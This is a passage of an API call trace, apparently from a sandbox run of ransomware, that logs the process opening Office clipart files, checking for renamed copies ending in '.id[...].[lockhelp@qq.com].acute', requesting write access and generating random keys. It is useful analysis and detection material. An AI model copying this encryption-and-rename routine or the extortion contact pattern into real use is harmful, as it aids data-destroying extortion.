dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.977] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2262) returned 1 [0274.977] CloseHandle (hObject=0x37c) returned 1 [0274.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0274.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.977] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.978] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5270) returned 1 [0274.978] CloseHandle (hObject=0x37c) returned 1 [0274.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0274.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.978] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.979] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=49546) returned 1 [0274.979] CloseHandle (hObject=0x37c) returned 1 [0274.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0274.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.980] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.980] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2966) returned 1 [0274.980] CloseHandle (hObject=0x37c) returned 1 [0274.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0274.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.981] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.981] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10326) returned 1 [0274.981] CloseHandle (hObject=0x37c) returned 1 [0274.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0274.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.981] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.982] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=31122) returned 1 [0274.982] CloseHandle (hObject=0x37c) returned 1 [0274.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0274.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.982] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.983] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8256) returned 1 [0274.984] CloseHandle (hObject=0x37c) returned 1 [0274.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0274.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.984] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.984] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=29628) returned 1 [0274.984] CloseHandle (hObject=0x37c) returned 1 [0274.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0274.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.984] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.985] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2690) returned 1 [0274.985] CloseHandle (hObject=0x37c) returned 1 [0274.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0274.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.985] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.985] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2832) returned 1 [0274.985] CloseHandle (hObject=0x37c) returned 1 [0274.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0274.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.986] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.986] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=37974) returned 1 [0274.986] CloseHandle (hObject=0x37c) returned 1 [0274.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0274.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.986] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.986] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=40030) returned 1 [0274.986] CloseHandle (hObject=0x37c) returned 1 [0274.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0274.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.986] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.987] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=792) returned 1 [0274.987] CloseHandle (hObject=0x37c) returned 1 [0274.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0274.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.987] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.988] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17584) returned 1 [0274.988] CloseHandle (hObject=0x37c) returned 1 [0274.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0274.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.988] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.988] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7828) returned 1 [0274.988] CloseHandle (hObject=0x37c) returned 1 [0274.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0274.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.988] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.989] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=42992) returned 1 [0274.989] CloseHandle (hObject=0x37c) returned 1 [0274.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0274.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.989] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.989] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=42908) returned 1 [0274.989] CloseHandle (hObject=0x37c) returned 1 [0274.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0274.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.990] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 